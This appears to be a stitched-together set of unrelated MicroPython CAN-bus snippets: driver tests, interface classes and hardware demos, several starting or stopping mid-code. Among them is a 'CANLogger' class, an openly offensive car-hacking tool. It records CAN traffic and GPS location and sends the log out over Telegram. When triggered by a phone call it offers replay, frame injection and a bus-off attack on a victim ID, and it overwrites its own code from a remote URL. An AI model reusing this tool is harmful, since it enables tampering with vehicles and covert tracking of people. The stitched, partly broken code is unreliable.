RED.value(1) utime.sleep_ms(500) RED.value(0) YELLOW.value(1) utime.sleep_ms(500) YELLOW.value(0) GREEN.value(1) utime.sleep_ms(500) GREEN.value(0) BLUE.value(1) utime.sleep_ms(500) BLUE.value(0) WHITE.value(1) utime.sleep_ms(500) WHITE.value(0) BUZZER.value(1) utime.sleep_ms(75) BUZZER.value(0) while True: chk_hbt() if not (func_butt.value()): print("function button") send() cycle_stack() utime.sleep_ms(200) if (can.any(0)): get()
CAN(bus, CAN.LOOPBACK) print("CAN", bus) except ValueError: print("ValueError", bus) CAN(1).deinit() CAN.initfilterbanks(14) can = CAN(1) print(can) # Test state when de-init'd print(can.state() == can.STOPPED) can.init(CAN.LOOPBACK) print(can) print(can.any(0)) # Test state when freshly created print(can.state() == can.ERROR_ACTIVE) # Test that restart can be called can.restart() # Test info returns a sensible value print(can.info()) # Catch all filter can.setfilter(0, CAN.MASK16, 0, (0, 0, 0, 0)) can.send("abcd", 123, timeout=5000) print(can.any(0), can.info())
# test we can correctly create by id or name for bus in (-1, 0, 1, 2, 3, "YA", "YB", "YC"): try: CAN(bus, CAN.LOOPBACK) print("CAN", bus) except ValueError: print("ValueError", bus) CAN.initfilterbanks(14) can = CAN(1) print(can) can.init(CAN.LOOPBACK) print(can) print(can.any(0)) # Catch all filter can.setfilter(0, CAN.MASK16, 0, (0, 0, 0, 0)) can.send('abcd', 123, timeout=5000) print(can.any(0)) print(can.recv(0)) can.send('abcd', -1, timeout=5000) print(can.recv(0)) can.send('abcd', 0x7FF + 1, timeout=5000) print(can.recv(0)) # Test too long message
# test we can correctly create by id or name for bus in (-1, 0, 1, 2, 3, "YA", "YB", "YC"): try: CAN(bus, CAN.LOOPBACK) print("CAN", bus) except ValueError: print("ValueError", bus) CAN(1).deinit() CAN.initfilterbanks(14) can = CAN(1) print(can) can.init(CAN.LOOPBACK) print(can) print(can.any(0)) # Catch all filter can.setfilter(0, CAN.MASK16, 0, (0, 0, 0, 0)) can.send('abcd', 123, timeout=5000) print(can.any(0)) print(can.recv(0)) can.send('abcd', -1, timeout=5000) print(can.recv(0)) can.send('abcd', 0x7FF + 1, timeout=5000) print(can.recv(0)) # Test too long message
class CANLogger(object): def __init__(self): # Constants and variables # # UART cmd to en-/disable the GPS self.GPS_OFF = (0xB5, 0x62, 0x06, 0x04, 0x04, 0x00, 0x00, 0x00, 0x08, 0x00, 0x16, 0x74) self.GPS_ON = (0xB5, 0x62, 0x06, 0x04, 0x04, 0x00, 0x00, 0x00, 0x09, 0x00, 0x17, 0x76) self.SIM_DISABLED = False self.GPS_LOG_TIME = 5000 # 5s self.SHUTOFF_TIME = 30000 # 30s of no CAN activity self.TOKEN = "REDACTED" self.VERSION = 1.0 if 'sd' in os.listdir('/'): self.PATH = '/sd/' else: self.PATH = '' self.CAN_FILE = open(self.PATH + 'can.log', 'a+') # This will hold CAN IDs to be filtered for in the can log self.can_filter = [] self.allowed_users = ["610574975"] self.interrupt = False self.shutdown = False # Init modules # # GPS init self.gps_uart = UART(1, 9600) # init with given baudrate self.gps_uart.init(9600, bits=8, parity=None, stop=1, read_buf_len=512 // 2) # init with given parameters self.gps = MicropyGPS() # CAN init (500 MHz) self.can = CAN(1, CAN.NORMAL) # recv self.can2 = CAN(2, CAN.NORMAL) # send self.can.init(CAN.NORMAL, prescaler=4, sjw=1, bs1=14, bs2=6, auto_restart=True) self.can2.init(CAN.NORMAL, prescaler=4, sjw=1, bs1=14, bs2=6, auto_restart=True) self.can.setfilter(0, CAN.MASK16, 0, (0, 0, 0, 0)) # SIM800L init sim_uart = UART(4, 9600, timeout=1000, read_buf_len=2048 // 4) self.modem = Modem(sim_uart) self.modem.initialize() try: self.modem.connect('internet.eplus.de') except: self.SIM_DISABLED = True print("LOG ONLY MODE (NO GSM)") # Clock init self.rtc = RTC() self.rtc.wakeup(5000) # wakeup call every 5s # Interrupt Flag init self.interrupt = False pyb.ExtInt('X5', pyb.ExtInt.IRQ_FALLING, pyb.Pin.PULL_UP, self.incoming_call) # Sleep pins for GSM self.gsm_sleep = pyb.Pin('X6', pyb.Pin.OUT_PP) self.gsm_sleep.value(0) if not self.SIM_DISABLED: # Software Update self.ota() # Telegram Bot self.telegram = TelegramBot(token=self.TOKEN, modem=self.modem) # Logs input to can.log # args will be separated by comma and printed each time a new line def log(self, *args, file='can.log'): # With this case writing to can.log is quite a lot faster, as closing a file takes ages due to writing to fs # But we must ensure to close the file at some point if file is not 'can.log': with open(self.PATH + file, 'a+') as f: print(','.join(args), file=f) os.sync() else: # ensure we have an open file # if self.CAN_FILE.closed: # closed does not exists, thus need workaround below try: self.CAN_FILE.read() except OSError: self.CAN_FILE = open(self.PATH + 'can.log', 'a+') print(','.join(args), file=self.CAN_FILE) # Override is working def ota(self): url = 'https://raw.githubusercontent.com/jsonnet/CANLogger/master/version' response = self.modem.http_request(url, 'GET') # If a newer version is available if float(response.text) > self.VERSION: url = 'https://raw.githubusercontent.com/jsonnet/CANLogger/master/code/main.py' response = self.modem.http_request(url, 'GET') # Override existing main file and reboot with open(self.PATH + 'main.py', 'w') as f: print(response.text, file=f) # Force buffer write and restart os.sync() machine.soft_reset() # Callback function for incoming call to initiate attack mode def incoming_call(self, _): # Hangup call self.modem.hangup() # Reactivate logger if called during sleep phase if self.shutdown: self.shutdown = False self.gsm_sleep.value(0) self.sendGPSCmd(self.GPS_ON) for u in self.allowed_users: self.telegram.send(u, 'Ready in attack mode!') # light up yellow to indicate attack mode LED(3).intensity(16) self.interrupt = True # PoC for Telegram def message_handler(self, messages): for message in messages: # Check permitted users if message['id'] not in self.allowed_users: continue if message[2] == '/start': self.telegram.send( message[0], 'CAN Logger in attack mode, ready for you!') else: if message['text'] == "log": params = message['text'].strip().split(" ")[1:] # get if params[0] == 'get': self.telegram.sendFile( message[0], open(self.PATH + 'can.log', 'rb')) # with open(self.PATH + 'can.log', 'r') as f: # data = f.read() # Okay, will print \n explicitly! # self.telegram.send(message[0], data) os.remove(self.PATH + 'can.log') # clear elif params[0] == 'clear': os.remove(self.PATH + 'can.log') else: self.helpMessage(message) elif message['text'] == "replay": # Find first message of id and resend x times params = message['text'].strip().split(" ")[1:] if len(params) < 2: self.helpMessage(message) continue id, times = params[0:1] while True: can_id, _, _, can_data = self.can.recv(0) if can_id == id: for _ in times: self.can2.send(can_data, can_id, timeout=1000) self.log("sent {} from {} {} times".format( can_data, can_id, times)) break elif message['text'] == "injection": params = message['text'].split(" ")[1:] if len(params) < 4: self.helpMessage(message) continue can_id, can_data, times, _delay = params[0:2] for _ in times: self.can2.send(can_data, can_id, timeout=1000) pyb.delay(_delay) elif message['text'] == "reply": params = message['text'].strip().split(" ")[1:] if len(params) < 4: self.helpMessage(message) continue id, message, id_a, answer = params[0:3] while True: can_id, _, _, can_data = self.can.recv(0) if can_id == id and can_data == message: self.can2.send(answer, id_a, timeout=1000) break elif message[ 'text'] == "busoff": # TODO WIP feature only manual at that point params = message['text'].strip().split(" ")[1:] if len(params) < 4: self.helpMessage(message) continue mark_id, vic_id, payload, _delay = params[0:3] self.can.setfilter(0, CAN.LIST16, 0, ( mark_id, vic_id, )) # Clear buffer (maybe/hopefully) for _ in range(5): if not self.can.any(0): break self.can.recv(0) count = 0 while count <= 5: can_id, _, _, can_data = self.can.recv(0) if can_id == mark_id: pyb.delay(_delay) self.can2.send(payload, vic_id, timeout=1000) while True: can_id, _, _, can_data = self.can.recv(0) if can_id == vic_id and can_data != payload: count = 0 break count += 1 # reset filter self.can.setfilter(0, CAN.MASK16, 0, (0, 0, 0, 0)) elif message['text'] == "filter": # CAN Log Filter by ID params = message['text'].strip().split(" ")[1:] # add if params[0] == 'add': for id in params[1:]: self.can_filter.append(id) # remove elif params[0] == 'remove': for id in params[1:]: self.can_filter.remove(id) # clear elif params[0] == 'clear': self.can_filter.clear() else: self.helpMessage(message) elif message['text'] == "ota": self.ota() elif message['text'] == "help": self.helpMessage(message) elif message['text'] == "exit": LED(3).off() self.interrupt = False self.telegram.send(message[0], 'Executed!') def helpMessage(self, message): helpme = """ log get|clear - Retrieve or clear saved can data log replay id freq - Replay messages of given id reply id message answer - Reply to a specified message with an answer injection id data freq delay - Inject given can packet into bus at a given frequency busoff marker victim payload freq - Manual BUS off attack for given victim filter add|remove|clear id - Set a filter for when logging ota - Check and update newest version help - Displays this message exit - Exit this mode and return to logging """ self.telegram.send(message[0], helpme) def sendGPSCmd(self, cmd): for i in range(len(cmd)): self.gps_uart.writechar(cmd[i]) def loop(self): gps_time = utime.ticks_ms() while True: # Check if new messages arrived after shutdown if self.shutdown and not self.can.any(0): pyb.stop() # soft sleep (500 uA) continue elif self.shutdown and self.can.any(0): self.shutdown = False self.gsm_sleep.value(0) self.sendGPSCmd(self.GPS_ON) # Main loop if not self.interrupt: # Free memory # gc.collect() ## Logging mode ## # Only log gps once a few seconds if utime.ticks_ms() - gps_time >= self.GPS_LOG_TIME: gps_time = utime.ticks_ms() # if module retrieved data: update and log if self.gps_uart.any(): self.gps.updateall(self.gps_uart.read()) self.log(str(self.rtc.datetime()), self.gps.latitude_string(), self.gps.longitude_string(), self.gps.speed_string()) # Log new incoming can messages try: # throws OSError can_id, _, _, can_data = self.can.recv( 0, timeout=self.SHUTOFF_TIME) # Filter for CAN Log if not self.can_filter or can_id in self.can_filter: self.log(str(self.rtc.datetime()), str(can_id), binascii.hexlify(can_data).decode('utf-8')) except OSError: # We timed out from can connection -> could mean car is shut down self.shutdown = True self.CAN_FILE.close() os.sync() self.gsm_sleep.value(1) self.sendGPSCmd(self.GPS_OFF) continue else: ## Attack mode ## self.CAN_FILE.close() # Close log file first os.sync() while self.interrupt: self.telegram.listen(self.message_handler)
class canIf(object): def __init__(self,canId = 1): # self._canIf = CAN(1, CAN.NORMAL, extframe=False, prescaler=16, sjw=1, bs1=14, bs2=6) # self._canIf.setfilter(0, CAN.LIST16, 0, (124, 124, 124, 124)) self._canIf = None self._canId = canId self._canAddr = 255 self._rxTimeout = 5 # self._FRM_BYTE = 0x7D # self._ESC_BYTE = 0x7E self._txByte = 0 self._rxByte = 0 self._txFrame = 0 self._rxFrame = 0 def bitrate(self, bitrate = 125): if bitrate == 125: # 125kpbs, PCLK1@42000000 self._canIf = CAN(self._canId, CAN.NORMAL, extframe=False, prescaler=16, sjw=1, bs1=14, bs2=6) print('set can speed', bitrate) elif bitrate == 250: ''' Init for 250 kbps <=> bit time 4 µs. If 42 MHz clk is prescaled by 21, we get 8 subparts 'tq' of a bit time from theese parts (# tq): sync(1) + bs1(5) + bs2(2) = 8 * tq = 4µs => 250 kbps''' self._canIf = CAN(self._canId, CAN.NORMAL, extframe=False, prescaler=21, sjw=1, bs1=5, bs2=2) else: print('CAN speed not found') self._canIf.initfilterbanks(1) return True def filter(self, address): canfilterList = [] for x in range(0, 4): canfilterList.append(address) # mylist.append(123) self._canAddr = address self._canIf.setfilter(0, CAN.LIST16, 0, canfilterList) print('Filter',self._canAddr) return True def any(self): self._canIf.any(0) def recv(self): self._canIf.recv(0) def send(self, buffer): # print('canSend',buffer) result = True try: self._canIf.send(buffer, self._canAddr, timeout=100) self._txByte += len(buffer) self._txFrame += 1 except: result = False print('Failed to Send') return result
try: from pyb import CAN CAN(2) except (ImportError, ValueError): print("SKIP") raise SystemExit # Testing rtr messages bus2 = CAN(2, CAN.LOOPBACK, extframe=True) while bus2.any(0): bus2.recv(0) bus2.setfilter(0, CAN.LIST32, 0, (1, 2), rtr=(True, True)) bus2.setfilter(1, CAN.LIST32, 0, (3, 4), rtr=(True, False)) bus2.setfilter(2, CAN.MASK32, 0, (16, 16), rtr=(False, )) bus2.setfilter(2, CAN.MASK32, 0, (32, 32), rtr=(True, )) bus2.send("", 1, rtr=True) print(bus2.recv(0)) bus2.send("", 2, rtr=True) print(bus2.recv(0)) bus2.send("", 3, rtr=True) print(bus2.recv(0)) bus2.send("", 4, rtr=True) print(bus2.any(0))
class can_tmcl_interface(tmcl_module_interface, tmcl_host_interface): def __init__(self, port=1, data_rate=None, host_id=2, module_id=1, debug=False, can_mode=CanModeNormal()): del data_rate tmcl_module_interface.__init__(self, host_id, module_id, debug) tmcl_host_interface.__init__(self, host_id, module_id, debug) self.__silent = Pin(Pin.cpu.B10, Pin.OUT_PP) self.__mode = can_mode self.__flag_recv = False self.__can = None CAN.initfilterbanks(14) # PCLK1 = 42 MHz, Module_Bitrate = 1000 kBit/s # With prescaler = 3, bs1 = 11, bs2 = 2 # Sample point at 85.7 %, accuracy = 100 % if (isinstance(self.__mode, CanModeNormal)): self.__silent.low() self.__can = CAN(port, CAN.NORMAL) self.__can.init(CAN.NORMAL, prescaler=3, bs1=11, bs2=2, auto_restart=True) self.__can.setfilter(0, CAN.LIST16, 0, (host_id, host_id, module_id, module_id)) elif (isinstance(self.__mode, CanModeSilent)): self.__silent.high() self.__can = CAN(port, CAN.SILENT) self.__can.init(CAN.SILENT, prescaler=3, bs1=11, bs2=2, auto_restart=True) self.__can.setfilter(0, CAN.LIST16, 0, (host_id, host_id, module_id, module_id)) elif (isinstance(self.__mode, CanModeOff)): raise ValueError() # Not supported by TJA1051T/3 self.__can.rxcallback(0, self.__callback_recv) def __enter__(self): return self def __exit__(self, exitType, value, traceback): del exitType, value, traceback self.close() def close(self): pass def data_available(self, hostID=None, moduleID=None): del hostID, moduleID return self.__can.any(0) def _send(self, hostID, moduleID, data): del hostID, moduleID self.__can.send(data[1:], data[0]) def __callback_recv(self, bus, reason): if (reason != 0): pass self.__flag_recv = True def _recv(self, hostID, moduleID): del hostID, moduleID while (not (self.__flag_recv)): pass self.__flag_recv = False received = self.__can.recv(0, timeout=1000) read = struct.pack("B", received[0]) + received[3] return read def printInfo(self): pass def enableDebug(self, enable): self._debug = enable def get_mode(self): return self.__mode def get_can(self): return self.__can @staticmethod def supportsTMCL(): return True @staticmethod def supportsCANopen(): return False @staticmethod def available_ports(): return set([2])
from pyb import CAN CAN.initfilterbanks(14) can = CAN(1) print(can) can.init(CAN.LOOPBACK) print(can) print(can.any(0)) # Catch all filter can.setfilter(0, CAN.MASK16, 0, (0, 0, 0, 0)) can.send('abcd', 123) print(can.any(0)) print(can.recv(0)) can.send('abcd', -1) print(can.recv(0)) can.send('abcd', 0x7FF + 1) print(can.recv(0)) # Test too long message try: can.send('abcdefghi', 0x7FF) except ValueError: print('passed') else: print('failed')
@author: Ivo Weihert @date: 14.04.2018 @organisation: TU Darmstadt Space Technology e.V. Test script receiving accelometer data via can bus on pyboard Note: run receiver first! can class documentation: https://docs.micropython.org/en/latest/pyboard/library/pyb.CAN.html """ from pyb import CAN can = CAN(1, CAN.NORMAL) #select can 1 (Y3,Y4) in normal mode can.setfilter( 0, CAN.LIST16, 0, (123, 124, 125, 126)) #(bank, mode, fifo, params, *, rtr) - important: fifo & ID's while (True): if can.any(0) == True: #check the fifo for incomming data Data = can.recv( 0 ) #reveive the data from the fifo; Data[0:ID , 1:RTR, 2:FMIval, 3:Payload] if Data[0] == 123: #the Axis information is put in the can ID: 123=X, 124=Y, 125=Z Axis = 'X-Axis' if Data[0] == 124: Axis = 'Y-Axis' if Data[0] == 125: Axis = 'Z-Axis' Value = Data[3] #getting the Value from the Data tuple print(Axis, Value) #output pyb.LED(2).toggle() #green LED for received data visualization pyb.delay(10) if can.any( 0
from pyb import CAN can = CAN(1) print(can) can.init(CAN.LOOPBACK) print(can.any(0)) can.send('abcd', 123) print(can.any(0)) print(can.recv(0))
#消除抖动,sw按下返回1,松开返回0。 if sw.value() == 1: delay(10) if sw.value() == 1: send_flag = 1 sw = Switch() #定义按键对象名字为sw sw.callback(send) #当按键被按下时,执行函数send() can = CAN(1, CAN.NORMAL) #设置CAN1为普通模式(RX-->PB8,TX-->PB9) #设置接收相关配置 id=123, 124, 125 和 126 can.setfilter(0, CAN.LIST16, 0, (123, 124, 125, 126)) can.send('message!', 123) #发送id=123的信息 num = 0 while True: #判断有无收到信息 if can.any(0): text = can.recv(0) #读取数据 print(text) #通过REPL打印串口3接收的数据 if send_flag == 1: can.send(str(num), 123) #发送id=123的信息 num = num + 1 send_flag = 0
""" mfreq = machine.freq() uart1.readinto(buf, 8) while True: #counterUart += 1 #uart1.write(str(counterUart)) #axis_x = accel.x() #axis_y = accel.y() #axis_z = accel.z() axis_x += 1 if axis_x > 128: axis_x = 0 if can1.any(0): recArr = can1.recv(0, timeout=100) recData_au8 = recArr[3] recID = recArr[0] #LINE 2 recID_s = str(recID) whSpcLenL2 = 16 - 7 - len(recID_s) whiteSpaceL2 = ' ' * whSpcLenL2 Line2text = 'RX ID: ' + recID_s + whiteSpaceL2 #LINE 3 """ Line3text = str(hex(recData_au8[0]))[2:] + '' + str(hex(recData_au8[1]))[2:] + ':' + str(hex(recData_au8[2]))[2:] + '' + str(hex(recData_au8[3]))[2:] + ':' + str(hex(recData_au8[4]))[2:] + '' + str(hex(recData_au8[5]))[2:] + ':' + str(hex(recData_au8[6]))[2:] + '' + str(hex(recData_au8[7]))[2:] """ """ Line3text = str(recData_au8[0]) + ':' + str(recData_au8[1]) + ':' + str(recData_au8[2]) + ':' + str(recData_au8[3]) + ':' + str(recData_au8[4]) + ':' + str(recData_au8[5]) + ':' + str(recData_au8[6]) + ':' + str(recData_au8[7])
from pyb import CAN import pyb CAN.initfilterbanks(14) can = CAN(1) print(can) can.init(CAN.LOOPBACK) print(can) print(can.any(0)) # Catch all filter can.setfilter(0, CAN.MASK16, 0, (0, 0, 0, 0)) can.send('abcd', 123, timeout=5000) print(can.any(0)) print(can.recv(0)) can.send('abcd', -1, timeout=5000) print(can.recv(0)) can.send('abcd', 0x7FF + 1, timeout=5000) print(can.recv(0)) # Test too long message try: can.send('abcdefghi', 0x7FF, timeout=5000) except ValueError: print('passed') else: print('failed')
class canIf(object): def __init__(self, canId=1): # self._canIf = CAN(1, CAN.NORMAL, extframe=False, prescaler=16, sjw=1, bs1=14, bs2=6) # self._canIf.setfilter(0, CAN.LIST16, 0, (124, 124, 124, 124)) self._canIf = None self._canId = canId self._canAddr = 255 self._rxTimeout = 5 self._FRM_BYTE = 0x7D self._ESC_BYTE = 0x7E self._txByte = 0 self._rxByte = 0 self._txFrame = 0 self._rxFrame = 0 def bitrate(self, bitrate=125): if bitrate == 125: # 125kpbs, PCLK1@42000000 self._canIf = CAN(self._canId, CAN.NORMAL, extframe=False, prescaler=16, sjw=1, bs1=14, bs2=6) print('set can speed', bitrate) elif bitrate == 250: ''' Init for 250 kbps <=> bit time 4 µs. If 42 MHz clk is prescaled by 21, we get 8 subparts 'tq' of a bit time from theese parts (# tq): sync(1) + bs1(5) + bs2(2) = 8 * tq = 4µs => 250 kbps''' self._canIf = CAN(self._canId, CAN.NORMAL, extframe=False, prescaler=21, sjw=1, bs1=5, bs2=2) else: print('CAN speed not found') self._canIf.initfilterbanks(1) return True def filter(self, address): canfilterList = [] for x in range(0, 4): canfilterList.append(address) # mylist.append(123) self._canAddr = address self._canIf.setfilter(0, CAN.LIST16, 0, canfilterList) print('Filter', self._canAddr) return True def buffer(self, buffer=0): return self._canIf.any(buffer) def receive(self): timeout = False timeoutValue = utime.time() + self._rxTimeout state = 'INIT' data = [] if self._canIf.any(0): print('Data') while not (timeout): if self._canIf.any(0): (id, type, fmi, canframe) = self._canIf.recv(0) self._rxFrame += 1 for item in canframe: self._rxByte += 1 # ''' Start Frame ''' if item == self._FRM_BYTE and state in 'INIT': state = 'RUN' print(state, item) # data.append(item) # ''' End Frame ''' elif item == self._FRM_BYTE and state in 'RUN': state = 'COMPLET' print(state, item) # data.append(item) return (state, data) # ''' Stuffin Byte''' elif item == self._ESC_BYTE and state in 'RUN': state = 'STUFFING' print(state, item) # ''' un-Stuffing''' elif state in 'STUFFING': data.append(item ^ 0x20) state = 'RUN' print(state, item) else: data.append(item) # ''' Timeout ''' elif utime.time() > timeoutValue: state = 'TIMEOUT' timeout = True return (state, data) else: state = 'NODATA' # print('NoData') return (state, data) def transmit(self, data): size = len(data) # print('Transmit',size,data) # self._arrayTx =[] state = 'INIT' buffer = array.array('B', []) buffer.append(self._FRM_BYTE) state = 'RUN' length = 0 for item in data: # print('tt',size,item,len(self._arrayTx)) size = size - 1 # print(len(buffer),item) if len(buffer) == 8: # print('test', buffer) #self._canIf.send(buffer, self._address, timeout=500) self.canSend(buffer) buffer = array.array('B', []) # print('array',len(self._arrayTx)) #print('state', self._state,self._arrayTx) #if 'INIT' in state: # buffer.append(self._FRM_BYTE) # buffer.append(item) # state = 'RUN' if 'RUN' in state: if item in (self._FRM_BYTE, self._ESC_BYTE): buffer.append(self._ESC_BYTE) # print(len(buffer),buffer) if len(buffer) == 8: # self._canIf.send(buffer, self._address, timeout=500) self.canSend(buffer) buffer = array.array('B', []) buffer.append(item ^ 0x20) if len(buffer) == 8: self.canSend(buffer) buffer = array.array('B', []) else: buffer.append(item) # elif size <= 0: # print('end') buffer.append(self._FRM_BYTE) self.canSend(buffer) # self._canIf.send(buffer, self._address, timeout=500) return size def canSend(self, buffer): # print('canSend',buffer) self._canIf.send(buffer, self._canAddr, timeout=500) self._txByte += len(buffer) self._txFrame += 1 return True def maintenance(self): maint = {} maint['TX-BYTE'] = self._txByte maint['RX-BYTE'] = self._rxByte maint['TX-FRAME'] = self._txFrame maint['RX-FRAME'] = self._rxFrame return maint def txString(self, str): data = [] for item in str: #print(item) data.append(ord(item)) return (self.transmit(data)) def rxString(self): #print('StringRx') str = '' (state, data) = self.receive() if 'COMPLET' in state: str = ''.join(chr(i) for i in data) print('String', str) return (state, str)